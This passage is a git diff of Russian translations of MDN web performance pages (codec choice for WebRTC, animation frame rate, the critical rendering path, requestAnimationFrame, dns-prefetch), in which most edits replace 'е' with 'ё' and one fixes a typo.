видеоконференцсвязи и других решениях WebRTC. Окончательное решение остается за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придется столкнуться для этого кодека.</p> +<p>К счастью, VP8 и AVC работают одинаково с точки зрения конечного пользователя и одинаково адекватны для использования в видеоконференцсвязи и других решениях WebRTC. Окончательное решение остаётся за разработчиком. Какой бы вариант вы ни выбрали, обязательно прочитайте информацию, представленную в этой статье, о любых конкретных проблемах конфигурации, с которыми вам, возможно, придётся столкнуться для этого кодека.</p> <p>Имейте в виду, что выбор кодека, которого нет в списке обязательных кодеков, может привести к риску выбора кодека, который не поддерживается браузером, который предпочитают ваши пользователи. Прочтите <a href="/en-US/docs/Web/Media/Formats/Support_issues">Решение проблем медиаподдержки в веб контенте</a> , чтобы узнать больше о том, как предлагать поддержку предпочитаемых кодеков, но при этом использовать браузеры, которые не поддерживают этот кодек.</p> <h2 id="Последствия_для_безопасности">Последствия для безопасности</h2> -<p>При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путем мониторинга скорости потока и ее изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.</p> +<p>При выборе и настройке кодеков возникают интересные потенциальные проблемы безопасности. Видео WebRTC защищено с помощью Datagram Transport Layer Security ({{Glossary("DTLS")}}), но для мотивированной стороны теоретически возможно вывести величину изменения, которое происходит от кадра к кадру при использовании кодеков с переменной скоростью передачи (VBR), путём мониторинга скорости потока и её изменения во времени.Это может потенциально позволить злоумышленнику сделать вывод о содержании потока, учитывая приливы и отливы скорости передачи.</p> <p>Подробнее о безопасности при использовании AVC в WebRTC см. {{RFC(6184, "RTP Payload Format for H.264 Video: Security Considerations", 9)}}.</p> diff --git a/files/ru/web/performance/animation_performance_and_frame_rate/index.html b/files/ru/web/performance/animation_performance_and_frame_rate/index.html index 9b9121b742..8ccf7fb88d 100644 --- a/files/ru/web/performance/animation_performance_and_frame_rate/index.html +++ b/files/ru/web/performance/animation_performance_and_frame_rate/index.html @@ -13,7 +13,7 @@ original_slug: Web/Performance/Производительность_анимац --- <p>Анимация в Вебе может быть сделана с помощью {{domxref('SVGAnimationElement', 'SVG')}}, {{domxref('window.requestAnimationFrame','JavaScript')}}, включая {{htmlelement('canvas')}} и {{domxref('WebGL_API', 'WebGL')}}, CSS {{cssxref('animation')}}, {{htmlelement('video')}}, анимированных GIF и даже с помощью анимированных PNG и других типов изображений. Производительность CSS анимации может отличаться от одного CSS-свойства к другому, а попытка анимировать некоторые "дорогие" CSS-свойства может привести к зависаниям ({{glossary('jank')}}), даже несмотря на то, что браузер борется за то, чтобы смягчить частоту смены кадров {{glossary('frame rate')}}.</p> -<p>Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объему файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. </p> +<p>Для анимированных медиа, таких как видео и GIF, основная проблема производительности - это размер файлов. Скачивание больших по объёму файлов не может не повлиять на производительность системы или на то, как эту систему воспринимает пользователь. </p> <p>Анимации, основанные на коде, будь то CSS, SVG, <canvas>, webGL или другие JavaScript анимации, могут нести проблемы производительности сами в себе, даже если файлы этого кода скачиваются быстро. Такие анимации могут потреблять всё время CPU и приводить к зависаниям.</p> @@ -25,12 +25,12 @@ original_slug: Web/Performance/Производительность_анимац <p>Графики <a href="/en-US/docs/Tools/Performance/Frame_rate">frame rate</a> и <a href="/en-US/docs/Tools/Performance/Waterfall">waterfall</a> из встроенных инструментов браузера дают информацию о том, как браузер выполняет работу по анимации. Используя эти инструменты, вы можете измерить fps приложения и диагностировать узкие места, в которых fps уменьшается.</p> -<p>С помощью <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS анимации</a> вы указываете <a href="/en-US/docs/Web/CSS/@keyframes">ключевые кадры (keyframes)</a>, каждый из которых использует определенные CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создает анимации с помощью плавных переходов от одного ключевого кадра к следующему.</p> +<p>С помощью <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS анимации</a> вы указываете <a href="/en-US/docs/Web/CSS/@keyframes">ключевые кадры (keyframes)</a>, каждый из которых использует определённые CSS свойства, чтобы определить внешний вид элемента в конкретный (ключевой) момент анимации. Браузер создаёт анимации с помощью плавных переходов от одного ключевого кадра к следующему.</p> <p>Если сравнивать анимацию с помощью JavaScript и CSS, вы увидите, что CSS-анимации проще создать. Более того, CSS-анимации гарантируют лучшую производительность, так как они автоматически делегируют некоторые задачи браузеру. Например, в случае CSS браузер сам решает, когда нужно отрендерить кадр, а когда пропустить кадр, если это необходимо. </p> <p><br> - Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчет говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к <a href="/en-US/docs/Glossary/Jank">зависаниям</a>, так как браузер все еще будет пытаться вычислить все 60 кадров.</p> + Однако, стоимость изменения разных CSS свойств варьируется. Общепринято, что 60 кадров в секунду - это достаточная частота, чтобы анимация выглядела мягкой и плавной. Несложный подсчёт говорит, что при частоте 60 кадров в секунду, браузер имеет лишь 16.7 миллисекунд, чтобы выполнить все скрипты, пересчитать стили, скомпоновать слои и отрисовать новый кадр. Отсюда следует, что медленные скрипты и анимация дорогих CSS свойств может может привести к <a href="/en-US/docs/Glossary/Jank">зависаниям</a>, так как браузер все ещё будет пытаться вычислить все 60 кадров.</p> <p>Стоит заметить, что 60 кадров в секунду - это стандартная частота обновления экрана. Существуют экраны с гораздо большим FPS. Например, экраны игровых ноутбуков или iPad Pro 2018 имеют частоту смены кадров, равную 120 fps и выше. Для таких устройств производители браузеров ограничивают частоту 60-ю кадрами в секунду, но с помощью некоторых опций этот лимит можно убрать. И в этом случае, на формирование каждого кадра устройство будет отводить лишь 8.6 миллисекунд.</p> @@ -42,7 +42,7 @@ original_slug: Web/Performance/Производительность_анимац <ol> <li><strong>Recalculate Style</strong>: когда любое CSS свойство для элемента изменяется, браузер должен заново вычислить результирующий набор свойств.</li> - <li><strong>Layout</strong>: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как измененного, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".</li> + <li><strong>Layout</strong>: затем браузер использует вычисленные стили для того, чтобы понять позицию и геометрию элементов - как изменённого, так и рядом лежащих. Эта операция называется "layout", но иногда её так же называют "reflow".</li> <li><strong>Paint</strong>: наконец, браузер должен перерисовать элементы на экране. Но этот этап не обязательно должен быть простым, как на изображении. Страница может быть разделена на слои, каждый из которых перерисовывается независимо, а только после этого они комбинируются в процессе, который называется композицией "Composition".</li> </ol> @@ -100,7 +100,7 @@ original_slug: Web/Performance/Производительность_анимац <h2 id="Пример_margin_против_transform">Пример: margin против transform</h2> -<p>В этом разделе мы увидим, как инструмент <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> может указать на разницу между анимацией. ёё <code><a href="/en-US/docs/Web/CSS/margin">margin</a></code> и <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>.</p> +<p>В этом разделе мы увидим, как инструмент <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> может указать на разницу между анимацией. её <code><a href="/en-US/docs/Web/CSS/margin">margin</a></code> и <code><a href="/en-US/docs/Web/CSS/transform">transform</a></code>.</p> <p>Задумка этого сценария не в том, чтобы убедить вас, что анимация через <code>margin</code> - это всегда плохая идея. Сценарий нужен, чтобы продемонстрировать, как инструменты могут помочь вам понять работу браузера и как вы можете применить эти знания для оптимизации.</p> @@ -116,7 +116,7 @@ original_slug: Web/Performance/Производительность_анимац <h3 id="Анимация_свойства_margin">Анимация свойства margin</h3> -<p>Оставим включенной опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмем кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.</p> +<p>Оставим включённой опцию "Use margin" и начнём анимацию. В это же время откроем "Performance tool" и нажмём кнопку "записать" (make a recording). Нам понадобится лишь пара секунд записи.</p> <p>Откройте первую запись. Точное содержимое, которое вы увидите, зависит от вашего устройства, системной нагрузки и окружения, но, в целом это должно выглядеть так:</p> @@ -128,7 +128,7 @@ original_slug: Web/Performance/Производительность_анимац <p><img alt="" src="https://mdn.mozillademos.org/files/10857/margin-timeline-overview.png" style="display: block; height: 58px; margin-left: auto; margin-right: auto; width: 800px;"></p> -<p>Сейчас здесь показаны ужатые этапы рендеринга <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Как видите, большая часть графика заполнена зеленым цветом - это говорит нам о том, что <a href="/en-US/docs/Tools/Performance/Timeline#timeline-color-coding">мы тратим много ресурсов на отрисовывание</a>.</p> +<p>Сейчас здесь показаны ужатые этапы рендеринга <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a>. Как видите, большая часть графика заполнена зелёным цветом - это говорит нам о том, что <a href="/en-US/docs/Tools/Performance/Timeline#timeline-color-coding">мы тратим много ресурсов на отрисовывание</a>.</p> <h4 id="Частота_кадров_Frame_Rate">Частота кадров (Frame Rate)</h4> @@ -158,7 +158,7 @@ original_slug: Web/Performance/Производительность_анимац <p><img alt="" src="https://mdn.mozillademos.org/files/10869/transform-timeline-overview.png" style="display: block; height: 57px; margin-left: auto; margin-right: auto; width: 800px;"></p> -<p>В сравнении с <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#Waterfall_overview">версией, которая использует margin</a>, мы видим намного меньше зеленого, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы <a href="/en-US/docs/Tools/Performance/Waterfall#timeline-color-coding">layout или style recalculation</a>.</p> +<p>В сравнении с <a href="/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties#Waterfall_overview">версией, которая использует margin</a>, мы видим намного меньше зелёного, но намного больше фиолетового цвета. Это говорит о том, что вместо paint мы теперь тратим ресурсы на этапы <a href="/en-US/docs/Tools/Performance/Waterfall#timeline-color-coding">layout или style recalculation</a>.</p> <h4 id="Частота_кадров_Frame_Rate_2">Частота кадров (Frame Rate)</h4> diff --git a/files/ru/web/performance/critical_rendering_path/index.html b/files/ru/web/performance/critical_rendering_path/index.html index ba9788828d..ee91e0e4c8 100644 --- a/files/ru/web/performance/critical_rendering_path/index.html +++ b/files/ru/web/performance/critical_rendering_path/index.html @@ -7,7 +7,7 @@ translation_of: Web/Performance/Critical_rendering_path --- <p><span class="seoSummary">Критические этапы рендеринга (Critical Rendering Path) - это последовательность шагов, которые выполняет браузер, когда преобразуется HTML, CSS и JavaScript в пиксели, которые вы видите на экране. Оптимизация этих шагов улучшает производительность рендера. Эти этапы включают в себя работу с <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model </a>(DOM), <a href="/en-US/docs/Web/API/CSS_Object_Model">CSS Object Model </a>(CSSOM), деревом рендера (render tree) и компоновкой объектов (layout)</span></p> -<p>Объектная модель документа DOM создается в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить стили, которые участвуют в создании CSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.</p> +<p>Объектная модель документа DOM создаётся в тот момент, когда браузер парсит HTML. Этот HTML может запрашивать JavaScript, который может модифицировать DOM. HTML может запросить стили, которые участвуют в создании CSS Object Model. Движок браузера комбинирует эти две объектные модели, чтобы создать дерево рендера (render tree). Компоновка (layout) определяет размеры и позицию каждого элемента на странице. Как только компоновка определена - пиксели отрисовываются на экране.</p> <p>Оптимизация критических этапов рендеринга улучшает время до первого рендера. Понимание и оптимизация этих этапов чрезвычайно важны для того, чтобы рендерить приложение с нужной частотой кадров (60 кадров в секунду, fps) и предоставить пользователю удобный, плавный интерфейс.</p> @@ -15,21 +15,21 @@ translation_of: Web/Performance/Critical_rendering_path <p>Производительность Web-приложений включает в себя запросы к серверу, получение ответов, загрузку, парсинг и выполнение скриптов, рендеринг, компоновку и отрисовку пикселей. </p> -<p>Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создает новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.</p> +<p>Загрузка веб-страницы или приложения начинается с запроса HTML. Сервер возвращает HTML заголовке (headers) и некоторые данные. Браузер начинает парсить полученный ответ HTML, преобразуя полученные байты в DOM-дерево. Браузер создаёт новый запрос каждый раз, когда он находит ссылки на внешние ресурсы, будь то файлы стилей, скриптов или ссылки на изображения. Некоторые запросы являются блокирующими. Это означает, что пока такие запросы выполняются - другие запросы приостанавливается. Браузер продолжает парсить HTML и создавать DOM до тех пор, пока запрос на получение HTML не подходит к концу. После завершения парсинга DOM, браузер конструирует CSS модель. Как только эти модели сформированы, браузер строит дерево рендера (render tree), в котором вычисляет стили для каждого видимого элемента страницы. После формирования дерева происходит компоновка (layout), которая определяет положение и размеры элементов этого дерева. Как только этап завершён - страница рендерится. Или "отрисовывается" (paint) на экране.</p> <h3 id="Document_Object_Model">Document Object Model</h3> <p>Построение DOM инкрементально. Ответ в виде HTML превращается в токены, которые превращаются в узлы (nodes), которые формируют DOM дерево. Простейший узел начинается с startTag-токена и заканчивается токеном endTag. Узлы содержат всю необходимую информацию об HTML элементе, соответствующем этому узлу. Узлы (nodes) связаны с Render Tree с помощью иерархии токенов: если какой-то набор startTag и endTag-токенов появляется между уже существующим набором токенов, мы получаем узел (node) внутри узла (node), то есть получаем иерархию дерева DOM.</p> -<p>Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но <a href="https://en.wiktionary.org/wiki/divitis">divitis</a> обязательно приведет к подвисаниям.</p> +<p>Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но <a href="https://en.wiktionary.org/wiki/divitis">divitis</a> обязательно приведёт к подвисаниям.</p> <h3 id="CSS_Object_Model">CSS Object Model</h3> -<p>DOM несет в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.</p> +<p>DOM несёт в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.</p> -<p>У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчета стилей.</p> +<p>У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчёта стилей.</p> -<p>Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, <code>.foo {}</code> сработает быстрее <code>.bar .foo {}</code>. В первом случае, условно, понадобится одна операция, чтобы найти элемент <code>.foo</code>, во втором случае, сначала будут найдены все <code>.foo</code>, а<strong> </strong>потом<strong> браузер пройдет вверх</strong> по дереву в поисках родительского элемента <code>.bar</code>. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.</p> +<p>Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, <code>.foo {}</code> сработает быстрее <code>.bar .foo {}</code>. В первом случае, условно, понадобится одна операция, чтобы найти элемент <code>.foo</code>, во втором случае, сначала будут найдены все <code>.foo</code>, а<strong> </strong>потом<strong> браузер пройдёт вверх</strong> по дереву в поисках родительского элемента <code>.bar</code>. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.</p> <p>Если вы измерите время, требуемое на парсинг CSS, вы будете удивлены тем, как быстро работают браузеры. Более специфичные правила более затратны, потому что требуют обхода большего числа узлов в DOM дереве, но эта дороговизна обходится довольно дёшево, особенно в сравнении с другими узкими местами производительности. <u>Сначала измеряйте. Потом оптимизируйте, если это действительно необходимо.</u> Вероятно, специфичность селекторов не то, что действительно затормаживает ваше приложение. Когда дело доходит до оптимизации CSS, улучшение производительность селекторов ускоряет рендеринг лишь на микросекунды. Существуют другие <a href="/en-US/docs/Learn/Performance/CSS_performance">пути оптимизации CSS</a>, такие как унификация, разделение CSS-файлов на разные файлы на основе media-queries.</p> @@ -43,17 +43,17 @@ translation_of: Web/Performance/Critical_rendering_path <p>В тот момент, когда дерево рендера (render tree) построено, становится возможным этап компоновки (layout). Компоновка зависит от размеров экрана. Этот этап определяет, где и как на странице будут спозиционированы элементы и каковы связи между элементами.</p> -<p>Что насчет ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).</p> +<p>Что насчёт ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).</p> <p>Мета тэг viewport, который вы можете указать в Head страницы, определяет ширину видимой области и влияет на компоновку. Без этого тэга браузеры используют ширину "по умолчанию", которая обычно составляет 960px. В браузерах, открывающихся по умолчанию в полноэкранном режиме, например, в браузере телефона, установка тега <code><meta name="viewport" content="width=device-width"></code> установит ширину видимой области в 100% от ширины экрана устройства, вместо того, чтобы использовать ширину по умолчанию. Эта ширина (<code>device-width)</code> изменяется каждый раз, когда пользователь поворачивает телефон. Это приводит к запуску этапа компоновки. Равно как и при изменении размеров окна в обычном браузере.</p> -<p>На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчет позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.</p> +<p>На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчёт позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.</p> <p>Для уменьшения частоты и продолжительности этого этапа, группируйте обновления экрана и избегайте анимации свойств, связанных с box-моделью элементов.</p> <h3 id="Отрисовка_Paint">Отрисовка (Paint)</h3> -<p>Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с легкостью ухудшит пользовательский опыт. <strong>Помните - сначала нужно измерять, а потом оптимизировать только необходимое!</strong></p> +<p>Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с лёгкостью ухудшит пользовательский опыт. <strong>Помните - сначала нужно измерять, а потом оптимизировать только необходимое!</strong></p> <h2 id="Оптимизация_CRP">Оптимизация CRP</h2> diff --git a/files/ru/web/performance/css_javascript_animation_performance/index.html b/files/ru/web/performance/css_javascript_animation_performance/index.html index b6dbb2bedf..8996f5f957 100644 --- a/files/ru/web/performance/css_javascript_animation_performance/index.html +++ b/files/ru/web/performance/css_javascript_animation_performance/index.html @@ -25,7 +25,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance <h2 id="requestAnimationFrame">requestAnimationFrame</h2> -<p>API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаете в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. <code>requestAnimationFrame()</code> работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).</p> +<p>API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаёте в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. <code>requestAnimationFrame()</code> работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).</p> <div class="note"> <p><strong>Заметка</strong>: Подобно CSS transition и animation, <code>requestAnimationFrame()</code> приостанавливает работу, когда текущий таб переводится в фоновый режим (например, при смене фокуса)</p> @@ -38,7 +38,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance <p>По факту, в большинстве случаев, производительность анимаций CSS практически идентична анимациям на JavaScript. По крайней мере в Firefox. Авторы некоторых JavaScript библиотек для анимации, например GSAP или Velocity.JS, даже берутся утверждать, что их решения могут работать быстрее, чем аналогичные решения на CSS. Такое возможно, потому что CSS transitions/animations просто заново вычисляют стили элементов в основном потоке процессора сразу перед тем, как срабатывает событие repaint, что примерно то же самое, что вычислять стили заново с помощью <code>requestAnimationFrame()</code>. Если обе анимации выполняются в одном потоке, то разницы в производительности не будет.</p> -<p>В следующей секции мы пройдемся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.</p> +<p>В следующей секции мы пройдёмся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.</p> <h3 id="Включение_измерения_частоты_кадров_FPS">Включение измерения частоты кадров FPS</h3> diff --git a/files/ru/web/performance/dns-prefetch/index.html b/files/ru/web/performance/dns-prefetch/index.html index d6575dcf2a..2db1d62980 100644 --- a/files/ru/web/performance/dns-prefetch/index.html +++ b/files/ru/web/performance/dns-prefetch/index.html @@ -13,7 +13,7 @@ translation_of: Web/Performance/dns-prefetch <p>Бывают случаи, когда в вашем приложении используются ссылки на домены, отличные от основного домена приложения. Например, внутри вашего приложения на "a.com" есть ссылка на домен "b.org". Для того, чтобы пройти по этой ссылке, пользовательский клиент должен сначала выяснить, какой адрес в интернете соответствует доменному имени "b.org". Этот процесс называется <code>DNS resolution.</code> И хотя механизмы кеширования DNS помогают сократить время запросов, DNS Resolution заметно влияет на время ожидания запроса из-за того, что первый клиентский запрос уходит сначала на DNS сервера и дожидается ответа от них. Для приложений, которые открывают соединения ко многим сторонним доменам, влияние DNS Resolution может сильно уменьшить производительность загрузки.</p> -<p><code>dns-prefetch</code> помогает разработчикам замаскировать ожидание DNS resolution. <a href="/en-US/docs/Web/HTML/Element/link">HTML <code><link></code> элемент</a> предлагает подобный функционал с помощью атрибута <a href="/en-US/docs/Web/HTML/Attributes/rel"><code>rel</code></a>, значение которого может содержать <code>dns-prefetch</code>. В этом случае, предзагрузка DNS произойдет для домена, указанного в атрибуте <a href="/en-US/docs/Web/HTML/Attributes">href</a>:</p> +<p><code>dns-prefetch</code> помогает разработчикам замаскировать ожидание DNS resolution. <a href="/en-US/docs/Web/HTML/Element/link">HTML <code><link></code> элемент</a> предлагает подобный функционал с помощью атрибута <a href="/en-US/docs/Web/HTML/Attributes/rel"><code>rel</code></a>, значение которого может содержать <code>dns-prefetch</code>. В этом случае, предзагрузка DNS произойдёт для домена, указанного в атрибуте <a href="/en-US/docs/Web/HTML/Attributes">href</a>:</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -44,7 +44,7 @@ translation_of: Web/Performance/dns-prefetch <pre class="brush: unix notranslate">Link: <https://fonts.gstatic.com/>; rel=dns-prefetch</pre> -<p><strong>В третьих, </strong> хорошей практикой считается использование <code>dns-prefetch</code> в паре с <code>preconnect</code>. В то время, как <code>dns-prefetch</code> срабатывает только при DNS поиске, <code>preconnect</code> устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (<a href="/en-US/docs/Glossary/TLS">TLS</a> рукопожатие), если оно доступно. Комбинирование этих двух инструкций дает возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:</p> +<p><strong>В третьих, </strong> хорошей практикой считается использование <code>dns-prefetch</code> в паре с <code>preconnect</code>. В то время, как <code>dns-prefetch</code> срабатывает только при DNS поиске, <code>preconnect</code> устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (<a href="/en-US/docs/Glossary/TLS">TLS</a> рукопожатие), если оно доступно. Комбинирование этих двух инструкций даёт возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:</p> <pre class="brush: html notranslate"><link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin> <link rel="dns-prefetch" href="https://fonts.gstatic.com/"> diff --git a/files/ru/web/performance/fundamentals/index.html b/files/ru/web/performance/fundamentals/index.html index b7e7d891c0..704ebee8a2 100644 --- a/files/ru/web/performance/fundamentals/index.html +++ b/files/ru/web/performance/fundamentals/index.html @@ -19,7 +19,7 @@ original_slug: Web/Performance/Основы <p>Ощущаемая пользователем "производительность" - это единственная производительность, которая имеет значение. Пользователи взаимодействуют с системой с помощью ввода каких-то данных: прикосновений, движения и речи. В ответ, они получают реакцию, основанную на зрительном, тактильном или слуховом аппаратах. Производительность - это качество того, как система реагирует на действия 